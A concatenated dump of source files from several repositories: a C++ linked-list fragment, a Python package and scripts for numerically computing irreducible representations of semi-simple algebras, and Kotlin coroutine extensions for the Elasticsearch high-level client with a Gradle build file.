// Place this node AFTER the current node
// By taking the current node's "next node"
// and pointing it to this new node.
this->m_pCurrentNode->pNextNode = pNewNode;
// Doubly linked list.. points to prior node
pNewNode->pPriorNode = this->m_pCurrentNode;
// Move the current node pointer
this->m_pCurrentNode = pNewNode;
}
return;
}
void cList::MoveToStart(void)
{
// point the current node to the root
this->m_pCurrentNode = this->m_pRootNode;
return;
}
bool cList::MoveToNext(void)
{
// See if the current node has a "next node"
if ( this->m_pCurrentNode->pNextNode != NULL )
{
// It's not NULL, so must be pointing to something
this->m_pCurrentNode = this->m_pCurrentNode->pNextNode;
return true;
}
return false;
}
sPerson cList::GetPersonAtCurrent(void)
{
return this->m_pCurrentNode->theData;
}
void cList::DeleteAtCurrentLocation(void)
{
// Need to point the "prior" node to the "next" node
// CURRENT NODE's prior node
// ^ ^
// | |
// CURRENT NODE |
// | |
// v v
// CURRENT NODE's next node
// Points the next to the prior
this->m_pCurrentNode->pNextNode->pPriorNode =
this->m_pCurrentNode->pPriorNode;
// Point the prior to the next
this->m_pCurrentNode->pPriorNode->pNextNode =
this->m_pCurrentNode->pNextNode;
cNode* pNewCurrent = this->m_pCurrentNode->pPriorNode;
// Delete the current
delete this->m_pCurrentNode;
// Update new current
this->m_pCurrentNode = pNewCurrent;
}
|
f417df2caa333913bd09bab6827452744ffbc4a7
|
[
"Markdown",
"C++"
] | 27
|
C++
|
anguspoole/GraphicsEffects
|
8a9f29bd6a20d23e3caee416c3ed8b8b3c92f7c9
|
ce8f2424306091e922f79fa32f82130eca0d8585
|
refs/heads/main
|
<file_sep># ArtinWedderburn
A package for numerically computing irreducible representations of semi-simple algebras over the complex numbers.
### description
Take a semi-simple algebra with basis `e1, ..., ed`. The multiplication tensor is defined by
```
ei ej = sum over k m[i,j,k] ek
```
The algebra unit vector is defined by
```
ei u = u ei = ei for each i
```
ArtinWedderburn takes a multiplication tensor and unit vector and computes the irreducible representations for the algebra (these are only defined upto conjugation). It keeps track of numerical error as it works, so you can see if it is polluting the result.
### usage
```
from ArtinWedderburn import *
alg = symmetric_group_algebra(5)
aw = ArtinWedderburn(alg, logging=True)
```
Currently, on a Ryzen 5 2400G, this runs with the following performance characteristics:
```
User time (seconds): 402.71
System time (seconds): 2.66
Percent of CPU this job got: 716%
Elapsed (wall clock) time (h:mm:ss or m:ss): 0:56.55
Maximum resident set size (kbytes): 9816812
```
The 10GB max ram usage occours while constructing the multiplication tensor for S5. While computing the irreducible representations, the ram usage is approximately 3GB.
Algebra objects can be constructed using `Algebra(dimension, multiplication, unit)` where `multiplication` is a numpy array with shape `(dimension,dimension,dimension)` and `unit` is a numpy vector with length `dimension`.
### dependencies
ArtinWedderburn uses `numpy` for tensor arithmetic and `scipy` for SVDs and computing eigenvalues. It should work with any recent versions of those libraries.
<file_sep>#!/bin/bash
echo Dimension Time total_defect
ls data | xargs -I {} python3 run_jacobs_algebra.py data/{}
date
<file_sep>#!/bin/bash
echo Dimension Time total_defect
ls moduleData/*.txt | xargs -I {} python3 run_jacobs_algebra.py moduleData/{}
date
<file_sep>import sys
sys.path.append("../")
from ArtinWedderburn import *
if len(sys.argv) != 2:
print("usage: python run_jacobs_algebra.py file")
exit()
with open(sys.argv[1],'r') as f:
lines = f.readlines()
identity_vec = [int(x) for x in lines[0].split(' ')]
dim = len(identity_vec)
unit_coefficients = []
for (index, val) in enumerate(identity_vec):
if val != 0:
unit_coefficients.append(((index,),float(val)))
unit = sparse.COO.from_iter(unit_coefficients, shape = (dim,), dtype=complex)
multiplication_lines = lines[1:]
multiplication_coefficients = []
for line in multiplication_lines:
parts = line.split(' ')
i = int(parts[0]) - 1
j = int(parts[1]) - 1
k = int(parts[2]) - 1
val = float(parts[3])
multiplication_coefficients.append(((i,j,k),val ))
mult = sparse.COO.from_iter(multiplication_coefficients, shape=(dim,dim,dim), dtype=complex)
alg = Algebra(dim, mult, unit, is_sparse=True)
ArtinWedderburn(alg, logging=True)
<file_sep>import sys
import time
sys.path.append("../")
from ArtinWedderburn import *
if len(sys.argv) != 2:
print("usage: python run_jacobs_algebra.py file")
exit()
with open(sys.argv[1], 'r') as f:
lines = f.readlines()
identity_vec = [int(x) for x in lines[0].split(' ')]
dim = len(identity_vec)
unit_coefficients = []
for (index, val) in enumerate(identity_vec):
if val != 0:
unit_coefficients.append(((index,), float(val)))
unit = sparse.COO.from_iter(unit_coefficients, shape=(dim,), dtype=complex)
multiplication_lines = lines[1:]
multiplication_coefficients = []
for line in multiplication_lines:
parts = line.split(' ')
i = int(parts[0])
j = int(parts[1])
k = int(parts[2])
val = complex(float(parts[3]), float(parts[4]))
multiplication_coefficients.append(((i, j, k), val))
mult = sparse.COO.from_iter(
multiplication_coefficients, shape=(dim, dim, dim), dtype=complex)
alg = Algebra(dim, mult, unit, is_sparse=True)
tic = time.perf_counter()
aT = ArtinWedderburn(alg)
toc = time.perf_counter()
print(dim, " ", toc - tic, " ", aT.total_defect)
<file_sep>import numpy as np
import sparse
from itertools import permutations
from math import factorial, sqrt
from scipy.linalg import svd, eig, eigh, inv
# inv is only used once for each block to compute
# the indecompsable idempotent corresponding to a rep
# takes an array of complex numbers and removes duplicates upto threshold
def fuzzy_filter(array, threshold):
result = []
for x in array:
already_seen = False
for v in result:
if abs(x-v) < threshold:
already_seen = True
break
if not already_seen:
result.append(x)
return result
def format_error(x):
return str.format('{0:1.0e}' ,x)
class ArtinWedderburn:
def compute_center(self):
algebra = self.algebra
m = algebra.multiplication
unit = algebra.unit
d = algebra.dimension
if algebra.is_sparse:
cm = algebra.commutator_matrix()
cm_conj_times_cm = np.dot(np.transpose(np.conj(cm)), cm)
s_reversed, v_inverse_reversed = eigh(cm_conj_times_cm.todense())
s = np.flip(s_reversed,axis=0)
v_inverse = np.flip(v_inverse_reversed, axis=1)
v = np.transpose(np.conj(v_inverse))
else:
_,s,v = svd(algebra.commutator_matrix())
# v is the change of basis matrix from our old basis to our new basis
# v is unitary, so inverse is conjugate transpose
# v_inverse is the change of basis from our new basis to our old basis
v_inverse = np.transpose(np.conj(v))
# the singular values in s are in non increasing order
# this means that the center basis vectors will the last columns of v_inverse
# whrere singular values are below threshold
counter = 0
for i in range(len(s)):
if abs(s[i]) < self.threshold:
counter += 1
center_inclusion = v_inverse[:,d - counter:]
self.center_inclusion = center_inclusion
center_dimension = center_inclusion.shape[1]
change_codomain_basis = np.tensordot(m, v, (2,1))
change_left_basis = np.tensordot(v_inverse,
change_codomain_basis,
(0,0))
m_rotated_anti = np.tensordot(
v_inverse,
change_left_basis,
(0,1))
m_rotated = np.transpose(m_rotated_anti,(1,0,2))
m_defect = np.sum(np.abs(m_rotated[d-center_dimension:d,
d-center_dimension:d,
0:d-center_dimension]))
self.log("SVD multiplication defect:",format_error(m_defect))
self.total_defect += m_defect
unit_rotated = np.tensordot(unit, v, (0,1))
unit_defect = np.sum(np.abs(unit_rotated[0:d-center_dimension]))
self.log("SVD unit defect:", format_error(unit_defect))
self.total_defect += unit_defect
center = Algebra(center_dimension,
m_rotated[d-center_dimension:d,
d-center_dimension:d,
d-center_dimension:d],
unit_rotated[d-center_dimension:d])
self.center = center
center_defect = center.algebra_defect()
self.log("center defect:", format_error(center_defect))
self.total_defect += center_defect
center_commutative_defect = center.commutative_defect()
self.log("center commutative defect:", format_error(center_commutative_defect))
self.total_defect += center_commutative_defect
def compute_unscaled_central_idempotents(self):
algebra = self.algebra
center = self.center
center_inclusion = self.center_inclusion
v = center.random_vector()
lv = center.left_multiplication_matrix(v)
eigenvectors = eig(lv)[1]
unscaled_central_idempotents = np.dot(center_inclusion, eigenvectors)
unscaled_central_idempotent_defect = 0.0
for i in range(center.dimension):
for j in range(center.dimension):
if i != j:
unscaled_central_idempotent_defect += np.abs(np.sum(algebra.multiply(
unscaled_central_idempotents[:,i],
unscaled_central_idempotents[:,j])))
self.log("unscaled central idempotent defect:",
format_error(unscaled_central_idempotent_defect))
self.total_defect += unscaled_central_idempotent_defect
self.unscaled_central_idempotents = unscaled_central_idempotents
def compute_block(self, idempotent_index):
algebra = self.algebra
idempotent = self.unscaled_central_idempotents[:,idempotent_index]
left_multiplication = algebra.left_multiplication_matrix(idempotent)
# u is the change of basis from new basis to old basis
u,s,v = svd(left_multiplication)
# u is unitary, so inverse is conjugate transpose
# u_inverse is change of basis from old basis to new basis
u_inverse = np.transpose(np.conj(u))
# the basis for the block is the columns of u whose singular value
# is above the threshold
counter = 0
for i in range(len(s)):
if abs(s[i]) > self.threshold:
counter += 1
block_inclusion = u[:,:counter]
self.block_inclusions[idempotent_index] = block_inclusion
block_dimension = block_inclusion.shape[1]
m = algebra.multiplication
d = algebra.dimension
change_codomain_basis = np.tensordot(m,u_inverse, (2,1))
change_left_basis = np.tensordot(u,change_codomain_basis,(0,0))
m_rotated_anti = np.tensordot(u,change_left_basis,(0,1))
m_rotated = np.transpose(m_rotated_anti, (1,0,2))
m_defect = np.sum(np.abs(m_rotated[0:block_dimension,
0:block_dimension,
block_dimension:d]))
self.log("SVD multiplication defect:", format_error(m_defect))
self.total_defect += m_defect
unit_rotated = np.tensordot(idempotent, u_inverse, (0,1))
unit_defect = np.sum(np.abs(unit_rotated[block_dimension:d]))
self.log("SVD unit defect:", format_error(unit_defect))
self.total_defect += unit_defect
pre_block = Algebra(
block_dimension,
m_rotated[0:block_dimension,
0:block_dimension,
0:block_dimension],
unit_rotated[0:block_dimension])
# we have only captured the identity upto scalar multiplication
# we need the identity on the node if we want to recover the correct scale
# for the representations
factor = pre_block.left_multiplication_matrix(pre_block.unit)[0,0]
block = Algebra(
pre_block.dimension,
pre_block.multiplication,
pre_block.unit / factor)
block_defect = block.algebra_defect()
self.log("block defect:", format_error(block_defect))
self.total_defect += block_defect
central_idempotent = np.dot(block_inclusion,block.unit)
self.blocks[idempotent_index] = block
self.central_idempotents[idempotent_index] = central_idempotent
def compute_irrep(self,block_index):
block = self.blocks[block_index]
sqrt_dimension = int(sqrt(block.dimension))
self.irrep_dimensions[block_index] = sqrt_dimension
inclusion = self.block_inclusions[block_index]
projection = np.transpose(np.conj(inclusion))
if block.dimension == 1:
block_irrep = block.multiplication
m_defect = 0.0
else:
v = block.random_vector()
vr = block.right_multiplication_matrix(v)
eigenvalues_with_repeats = eig(vr)[0]
eigenvalues = fuzzy_filter(eigenvalues_with_repeats,self.threshold)
accumulator = block.unit
for i in range(sqrt_dimension - 1):
accumulator = block.multiply(accumulator, v - eigenvalues[i] * block.unit)
proj = block.right_multiplication_matrix(accumulator)
# u goes from new basis to old basis
u, s, v = svd(proj)
# u_inverse goes from old basis to new basis
u_inverse = np.transpose(np.conj(u))
m = block.multiplication
change_codomain_basis = np.tensordot(m,u_inverse, (2,1))
m_rotated = np.transpose(np.tensordot(u,change_codomain_basis,(0,1)),(1,0,2))
m_defect = np.sum(np.abs(m_rotated[:,
0:sqrt_dimension,
sqrt_dimension:block.dimension]))
block_irrep = m_rotated[:,0:sqrt_dimension,0:sqrt_dimension]
self.log("SVD defect:", format_error(m_defect))
self.total_defect += m_defect
block_irrep_flattened = np.transpose(block_irrep.reshape(block.dimension, block.dimension))
block_irrep_inverted = inv(block_irrep_flattened)
self.indecomposable_idempotents[block_index] = np.dot(inclusion,block_irrep_inverted[:,0])
irrep = np.tensordot(projection, block_irrep, (0,0))
self.irreps[block_index] = irrep
irrep_defect = self.algebra.irrep_defect(irrep)
self.log("irrep defect:", format_error(irrep_defect))
self.total_defect += irrep_defect
def central_idempotent_defect(self):
center = self.center
algebra = self.algebra
central_idempotents = self.central_idempotents
defect_mat = np.zeros((center.dimension, center.dimension))
for i in range(center.dimension):
for j in range(center.dimension):
if i != j:
defect_mat[i,j] = np.sum(np.abs(algebra.multiply(
central_idempotents[i],
central_idempotents[j])))
else:
defect_mat[i,j] = np.sum(np.abs(algebra.multiply(
central_idempotents[i],
central_idempotents[j]) - central_idempotents[i]))
if algebra.is_sparse:
id_defect = np.copy(algebra.unit).todense()
else:
id_defect = np.copy(algebra.unit)
for i in range(center.dimension):
id_defect -= central_idempotents[i]
return np.sum(defect_mat) + np.sum(np.abs(id_defect))
def central_idempotent_irrep_defect(self):
center = self.center
central_idempotents = self.central_idempotents
irreps = self.irreps
defect_mat = np.zeros((center.dimension, center.dimension))
for i in range(center.dimension):
for j in range(center.dimension):
idempotent = central_idempotents[i]
irrep = irreps[j]
if i != j:
defect_mat[i,j] = np.sum(np.abs(np.tensordot(
idempotent,
irrep,
(0,0))))
else:
mat = np.tensordot(
central_idempotents[i],
irreps[j],
(0,0))
mat -= np.identity(irrep.shape[-1])
defect_mat[i,j] = np.sum(np.abs(mat))
return np.sum(defect_mat)
def log(self,*args, **kwargs):
if self.logging:
print(*args, **kwargs)
def __init__(self, algebra, threshold = 1.0e-5, logging = False):
self.algebra = algebra
self.threshold = threshold
self.logging = logging
self.total_defect = algebra.algebra_defect()
self.log("algebra defect:", self.total_defect)
self.log("")
self.log("computing center...")
self.compute_center()
self.log("")
# really, this only computes the central idempotents upto scalar multiplication
# we compute the central idempotents on the nose while computing the blocks
self.log("computing unscaled central idempotents...")
self.compute_unscaled_central_idempotents()
self.log("")
self.blocks = {}
self.central_idempotents = {}
self.indecomposable_idempotents = {}
# the block inclusions are unitary, so to project onto a block
# take the conjugate transpose of the inclusion
self.block_inclusions = {}
self.log("computing blocks...")
self.log("")
for i in range(self.center.dimension):
self.log("computing block ", i)
self.compute_block(i)
self.log("")
self.irreps = {}
self.irrep_dimensions = {}
self.log("computing irreps...")
self.log("")
for i in range(self.center.dimension):
self.log("computing irrep", i)
self.compute_irrep(i)
self.log("")
self.log("all done!")
central_idempotent_defect = self.central_idempotent_defect()
self.log("central idempotent defect:", format_error(central_idempotent_defect))
self.total_defect += central_idempotent_defect
central_idempotent_irrep_cross_defect = self.central_idempotent_irrep_defect()
self.log("central idempotent irrep cross defect:",
format_error(central_idempotent_irrep_cross_defect))
self.total_defect += central_idempotent_irrep_cross_defect
self.log("total defect:", format_error(self.total_defect))
self.log("irrep tensors are stored in the attribute self.irrep")
self.log(self.center.dimension, "irreducible representations with dimensions")
for index, dim in self.irrep_dimensions.items():
self.log(index, ":", dim)
class Algebra:
def associative_defect(self):
m = self.multiplication
return np.sum(np.abs(np.tensordot(m,m,(2,0)) -
np.transpose(np.tensordot(m,m,(1,2)),(0,2,3,1))))
def left_identity_defect(self):
m = self.multiplication
return np.sum(
np.abs(np.tensordot(self.unit, m, (0,0)) -
np.identity(self.dimension)))
def right_identity_defect(self):
m = self.multiplication
return np.sum(
np.abs(np.tensordot(self.unit, m, (0,1)) -
np.identity(self.dimension)))
def commutative_defect(self):
m = self.multiplication
return np.sum(np.abs(m - np.transpose(m,(1,0,2))))
def algebra_defect(self):
return sum([self.associative_defect(),
self.left_identity_defect(),
self.right_identity_defect()])
def irrep_defect_multiplication(self,irrep):
m = self.multiplication
result = np.sum(np.abs(np.tensordot(m, irrep, (2,0)) -
np.transpose(np.tensordot(irrep, irrep, (2,1)),(2,0,1,3))))
return result
def irrep_defect_identity(self,irrep):
m = self.multiplication
result = np.sum(np.abs(np.tensordot(self.unit, irrep, (0,0)) - np.identity(irrep.shape[1])))
return result
def irrep_defect(self,irrep):
return self.irrep_defect_multiplication(irrep) + self.irrep_defect_identity(irrep)
def multiply(self,x,y):
m = self.multiplication
return np.tensordot(np.tensordot(x,m,(0,0)),y,(0,0))
def random_vector(self):
d = self.dimension
return (np.random.rand(d) - 0.5 ) + 1j * (np.random.rand(d) - 0.5 )
def commutator_matrix(self):
d = self.dimension
m = self.multiplication
return np.transpose(np.reshape(m - np.transpose(m,(1,0,2)),(d,d*d)))
def left_multiplication_matrix(self,v):
m = self.multiplication
return np.transpose(np.tensordot(v, m, (0,0)))
def right_multiplication_matrix(self,v):
m = self.multiplication
return np.transpose(np.tensordot(v,m,(0,1)))
def __init__(
self,
dimension,
multiplication,
unit,
is_sparse = False
):
# dimension of algebra
# we denote the basis vectors as e_1, e_2, ...., e_dimension
self.dimension = dimension
# multiplication tensor (3D numpy array)
# e_i e_j = sum over k multiplication[i,j,k] e_k
self.multiplication = multiplication
# unit of the algebra in the given basis
self.unit = unit
self.is_sparse = is_sparse
# we represent a permutation as an n-tuple containing the numbers 0,1,...,n-1
# if we think of such a tuple as a function from indices to values
# then permutations are composed via function composition as follows
def multiply_permutations(p2, p1):
return tuple([p2[i] for i in p1])
def sparse_symmetric_group_algebra(n):
dimension = factorial(n)
multiplication = []
unit = []
permutation_to_index = {}
index_to_permutation = {}
index = 0
for permutation in permutations(range(n)):
permutation_to_index[permutation] = index
index_to_permutation[index] = permutation
index += 1
identity_permutation = tuple(range(n))
unit.append(
((permutation_to_index[identity_permutation],),1.0))
for i in range(dimension):
for j in range(dimension):
pi = index_to_permutation[i]
pj = index_to_permutation[j]
pk = multiply_permutations(pi,pj)
multiplication.append(
((i,j,permutation_to_index[pk]), 1.0))
algebra = Algebra(dimension,
sparse.COO.from_iter(
multiplication,
shape = (dimension,dimension,dimension),
dtype = complex),
sparse.COO.from_iter(
unit,
shape = (dimension,),
dtype = complex),
is_sparse = True
)
return algebra
def symmetric_group_algebra(n):
algebra = sparse_symmetric_group_algebra(n)
algebra.multiplication = algebra.multiplication.todense()
algebra.unit = algebra.unit.todense()
algebra.is_sparse = False
return algebra
<file_sep>from ArtinWedderburn import *
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def pass_fail(aw, defect_threshold=1.0e-10):
if aw.total_defect < defect_threshold:
print(bcolors.OKGREEN + "passed" + bcolors.ENDC)
else:
print(bcolors.FAIL + "failed" + bcolors.ENDC)
print("irreps for S2: ",end='')
aw2 = ArtinWedderburn(symmetric_group_algebra(2))
pass_fail(aw2)
print("irreps for S3: ",end='')
aw3 = ArtinWedderburn(symmetric_group_algebra(3))
pass_fail(aw3)
print("irreps for S4: ", end='')
aw4 = ArtinWedderburn(symmetric_group_algebra(4))
pass_fail(aw4)
print("irreps for sparse S2: ",end='')
aw2s = ArtinWedderburn(sparse_symmetric_group_algebra(2))
pass_fail(aw2)
print("irreps for sparse S3: ",end='')
aw3s = ArtinWedderburn(sparse_symmetric_group_algebra(3))
pass_fail(aw3)
print("irreps for sparse S4: ", end='')
aw4s = ArtinWedderburn(sparse_symmetric_group_algebra(4))
pass_fail(aw4)
<file_sep>import sys
if len(sys.argv) != 2:
print("usage: python benchmark.py n")
exit()
from ArtinWedderburn import *
alg = sparse_symmetric_group_algebra(int(sys.argv[1]))
aw = ArtinWedderburn(alg, logging=True)
|
e7fccba482f94e4823d192f2a22adec35d7b0270
|
[
"Markdown",
"Python",
"Shell"
] | 8
|
Markdown
|
JCBridgeman/artin_wedderburn
|
df7560b622b0ff800ad89f4f659ff37b93c4e0da
|
29bf769944c1c8c28b6a74407abb7e97a92b57e8
|
refs/heads/master
|
<repo_name>reimersoftware/elasticsearch-ktx<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/client/SnapshotClientCoroutineExtensions.kt
@file:Suppress("UNUSED")
package dev.reimer.elasticsearch.ktx.client
import dev.reimer.elasticsearch.ktx.util.awaitAction
import org.elasticsearch.action.admin.cluster.repositories.delete.DeleteRepositoryRequest
import org.elasticsearch.action.admin.cluster.repositories.get.GetRepositoriesRequest
import org.elasticsearch.action.admin.cluster.repositories.get.GetRepositoriesResponse
import org.elasticsearch.action.admin.cluster.repositories.put.PutRepositoryRequest
import org.elasticsearch.action.admin.cluster.repositories.verify.VerifyRepositoryRequest
import org.elasticsearch.action.admin.cluster.repositories.verify.VerifyRepositoryResponse
import org.elasticsearch.action.admin.cluster.snapshots.create.CreateSnapshotRequest
import org.elasticsearch.action.admin.cluster.snapshots.create.CreateSnapshotResponse
import org.elasticsearch.action.admin.cluster.snapshots.delete.DeleteSnapshotRequest
import org.elasticsearch.action.admin.cluster.snapshots.get.GetSnapshotsRequest
import org.elasticsearch.action.admin.cluster.snapshots.get.GetSnapshotsResponse
import org.elasticsearch.action.admin.cluster.snapshots.restore.RestoreSnapshotRequest
import org.elasticsearch.action.admin.cluster.snapshots.restore.RestoreSnapshotResponse
import org.elasticsearch.action.admin.cluster.snapshots.status.SnapshotsStatusRequest
import org.elasticsearch.action.admin.cluster.snapshots.status.SnapshotsStatusResponse
import org.elasticsearch.action.support.master.AcknowledgedResponse
import org.elasticsearch.client.RequestOptions
import org.elasticsearch.client.SnapshotClient
// See [Snapshot API on elastic.co](https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html).
// TODO cleanupRepository
suspend inline fun SnapshotClient.createAsync(options: RequestOptions = RequestOptions.DEFAULT, block: CreateSnapshotRequest.() -> Unit = {}): CreateSnapshotResponse =
awaitAction { createAsync(options, it, block) }
suspend inline fun SnapshotClient.createRepositoryAsync(options: RequestOptions = RequestOptions.DEFAULT, block: PutRepositoryRequest.() -> Unit = {}): AcknowledgedResponse =
awaitAction { createRepositoryAsync(options, it, block) }
suspend inline fun SnapshotClient.deleteAsync(options: RequestOptions = RequestOptions.DEFAULT, block: DeleteSnapshotRequest.() -> Unit = {}): AcknowledgedResponse =
awaitAction { deleteAsync(options, it, block) }
suspend inline fun SnapshotClient.deleteRepositoryAsync(options: RequestOptions = RequestOptions.DEFAULT, block: DeleteRepositoryRequest.() -> Unit = {}): AcknowledgedResponse =
awaitAction { deleteRepositoryAsync(options, it, block) }
suspend inline fun SnapshotClient.getAsync(options: RequestOptions = RequestOptions.DEFAULT, block: GetSnapshotsRequest.() -> Unit = {}): GetSnapshotsResponse =
awaitAction { getAsync(options, it, block) }
suspend inline fun SnapshotClient.getRepositoryAsync(options: RequestOptions = RequestOptions.DEFAULT, block: GetRepositoriesRequest.() -> Unit = {}): GetRepositoriesResponse =
awaitAction { getRepositoryAsync(options, it, block) }
suspend inline fun SnapshotClient.restoreAsync(options: RequestOptions = RequestOptions.DEFAULT, block: RestoreSnapshotRequest.() -> Unit = {}): RestoreSnapshotResponse =
awaitAction { restoreAsync(options, it, block) }
suspend inline fun SnapshotClient.statusAsync(options: RequestOptions = RequestOptions.DEFAULT, block: SnapshotsStatusRequest.() -> Unit = {}): SnapshotsStatusResponse =
awaitAction { statusAsync(options, it, block) }
suspend inline fun SnapshotClient.verifyRepositoryAsync(options: RequestOptions = RequestOptions.DEFAULT, block: VerifyRepositoryRequest.() -> Unit = {}): VerifyRepositoryResponse =
awaitAction { verifyRepositoryAsync(options, it, block) }
<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/client/ClusterClientCoroutineExtensions.kt
@file:Suppress("UNUSED")
package dev.reimer.elasticsearch.ktx.client
import dev.reimer.elasticsearch.ktx.util.awaitAction
import org.elasticsearch.action.admin.cluster.health.ClusterHealthRequest
import org.elasticsearch.action.admin.cluster.health.ClusterHealthResponse
import org.elasticsearch.action.admin.cluster.settings.ClusterGetSettingsRequest
import org.elasticsearch.action.admin.cluster.settings.ClusterGetSettingsResponse
import org.elasticsearch.action.admin.cluster.settings.ClusterUpdateSettingsRequest
import org.elasticsearch.action.admin.cluster.settings.ClusterUpdateSettingsResponse
import org.elasticsearch.client.ClusterClient
import org.elasticsearch.client.RequestOptions
// See [Cluster API on elastic.co](https://www.elastic.co/guide/en/elasticsearch/reference/current/cluster.html).
suspend inline fun ClusterClient.getSettingsAsync(options: RequestOptions = RequestOptions.DEFAULT, block: ClusterGetSettingsRequest.() -> Unit = {}): ClusterGetSettingsResponse =
awaitAction { getSettingsAsync(options, it, block) }
suspend inline fun ClusterClient.healthAsync(options: RequestOptions = RequestOptions.DEFAULT, block: ClusterHealthRequest.() -> Unit = {}): ClusterHealthResponse =
awaitAction { healthAsync(options, it, block) }
suspend inline fun ClusterClient.putSettingsAsync(options: RequestOptions = RequestOptions.DEFAULT, block: ClusterUpdateSettingsRequest.() -> Unit = {}): ClusterUpdateSettingsResponse =
awaitAction { putSettingsAsync(options, it, block) }
<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/action/search/SearchRequestExtensions.kt
package dev.reimer.elasticsearch.ktx.action.search
import org.elasticsearch.action.search.SearchRequest
import org.elasticsearch.action.search.SearchType
import org.elasticsearch.action.support.IndicesOptions
import org.elasticsearch.search.Scroll
import org.elasticsearch.search.builder.SearchSourceBuilder
inline var SearchRequest.allowPartialSearchResults: Boolean?
get() = allowPartialSearchResults()
set(value) {
value?.let { allowPartialSearchResults(it) }
}
inline var SearchRequest.indices: Array<String>
get() = indices()
set(value) {
indices(*value)
}
inline var SearchRequest.indicesOptions: IndicesOptions
get() = indicesOptions()
set(value) {
indicesOptions(value)
}
inline var SearchRequest.preference: String?
get() = preference()
set(value) {
preference(value)
}
inline var SearchRequest.requestCache: Boolean?
get() = requestCache()
set(value) {
requestCache(value)
}
inline var SearchRequest.routing: String?
get() = routing()
set(value) {
routing(value)
}
inline var SearchRequest.scroll: Scroll?
get() = scroll()
set(value) {
scroll(value)
}
inline var SearchRequest.searchType: SearchType
get() = searchType()
set(value) {
searchType(value)
}
inline var SearchRequest.source: SearchSourceBuilder?
get() = source()
set(value) {
source(value)
}
inline fun SearchRequest.source(block: SearchSourceBuilder.() -> Unit = {}): SearchRequest =
source(SearchSourceBuilder().apply(block))
<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/action/search/MultiSearchRequestExtensions.kt
package dev.reimer.elasticsearch.ktx.action.search
import org.elasticsearch.action.search.MultiSearchRequest
import org.elasticsearch.action.search.SearchRequest
import org.elasticsearch.action.support.IndicesOptions
inline fun MultiSearchRequest.add(block: SearchRequest.() -> Unit = {}): MultiSearchRequest =
add(SearchRequest().apply(block))
inline var MultiSearchRequest.indicesOptions: IndicesOptions
get() = indicesOptions()
set(value) {
indicesOptions(value)
}
inline var MultiSearchRequest.maxConcurrentSearchRequests: Int
get() = maxConcurrentSearchRequests()
set(value) {
maxConcurrentSearchRequests(value)
}
inline val MultiSearchRequest.requests: List<SearchRequest>
get() = requests()
<file_sep>/build.gradle.kts
import org.jetbrains.kotlin.gradle.tasks.KotlinCompile
plugins {
kotlin("jvm") version "1.3.11"
`maven-publish`
id("org.jetbrains.dokka") version "0.9.17"
}
group = "dev.reimer"
version = "0.2.0"
repositories {
mavenCentral()
}
dependencies {
implementation(kotlin("stdlib-jdk8"))
implementation("org.jetbrains.kotlinx:kotlinx-coroutines-core:1.3.2")
compileOnly("org.elasticsearch.client:elasticsearch-rest-high-level-client:7.5.0")
}
// Compile Kotlin to JVM1.8 bytecode.
tasks.withType<KotlinCompile> {
kotlinOptions.jvmTarget = "1.8"
}
// Include project license in generated JARs.
tasks.withType<Jar> {
from(project.projectDir) {
include("LICENSE")
into("META-INF")
}
}
// Generate Kotlin/Java documentation from sources.
tasks.dokka {
outputFormat = "html"
}
// JAR containing Kotlin/Java documentation.
val javadoc = tasks.create<Jar>("javadocJar") {
dependsOn(tasks.dokka)
from(tasks.dokka.get().outputDirectory)
}
// JAR containing all source files.
val sources = tasks.create<Jar>("sourcesJar") {
dependsOn("classes")
from(sourceSets.main.get().allSource)
}
publishing {
publications {
create<MavenPublication>("maven") {
from(components["java"])
artifact(sources) {
classifier = "sources"
}
artifact(javadoc) {
classifier = "javadoc"
}
}
}
}
<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/action/search/SearchResponseExtensions.kt
package dev.reimer.elasticsearch.ktx.action.search
import org.apache.lucene.search.TotalHits
import org.elasticsearch.action.search.SearchResponse
import org.elasticsearch.search.SearchHits
inline val SearchResponse.totalHits: TotalHits? get() = hits.totalHits
fun SearchHits.isEmpty() = hits.isEmpty()
fun SearchResponse.isEmpty() = hits.isEmpty()
<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/client/TasksClientCoroutineExtensions.kt
@file:Suppress("UNUSED")
package dev.reimer.elasticsearch.ktx.client
// TODO cancel
// TODO get
// TODO list
<file_sep>/src/main/kotlin/dev/reimer/elasticsearch/ktx/client/IndicesClientCoroutineExtensions.kt
@file:Suppress("UNUSED")
package dev.reimer.elasticsearch.ktx.client
import dev.reimer.elasticsearch.ktx.util.awaitAction
import org.elasticsearch.action.admin.indices.alias.IndicesAliasesRequest
import org.elasticsearch.action.admin.indices.alias.get.GetAliasesRequest
import org.elasticsearch.action.admin.indices.cache.clear.ClearIndicesCacheRequest
import org.elasticsearch.action.admin.indices.cache.clear.ClearIndicesCacheResponse
import org.elasticsearch.action.admin.indices.delete.DeleteIndexRequest
import org.elasticsearch.action.admin.indices.flush.FlushRequest
import org.elasticsearch.action.admin.indices.flush.FlushResponse
import org.elasticsearch.action.admin.indices.flush.SyncedFlushRequest
import org.elasticsearch.action.admin.indices.forcemerge.ForceMergeRequest
import org.elasticsearch.action.admin.indices.forcemerge.ForceMergeResponse
import org.elasticsearch.action.admin.indices.get.GetIndexRequest
import org.elasticsearch.action.admin.indices.get.GetIndexResponse
import org.elasticsearch.action.admin.indices.mapping.get.GetFieldMappingsRequest
import org.elasticsearch.action.admin.indices.mapping.get.GetFieldMappingsResponse
import org.elasticsearch.action.admin.indices.mapping.get.GetMappingsRequest
import org.elasticsearch.action.admin.indices.mapping.get.GetMappingsResponse
import org.elasticsearch.action.admin.indices.mapping.put.PutMappingRequest
import org.elasticsearch.action.admin.indices.open.OpenIndexRequest
import org.elasticsearch.action.admin.indices.open.OpenIndexResponse
import org.elasticsearch.action.admin.indices.refresh.RefreshRequest
import org.elasticsearch.action.admin.indices.refresh.RefreshResponse
import org.elasticsearch.action.admin.indices.rollover.RolloverRequest
import org.elasticsearch.action.admin.indices.rollover.RolloverResponse
import org.elasticsearch.action.admin.indices.settings.get.GetSettingsRequest
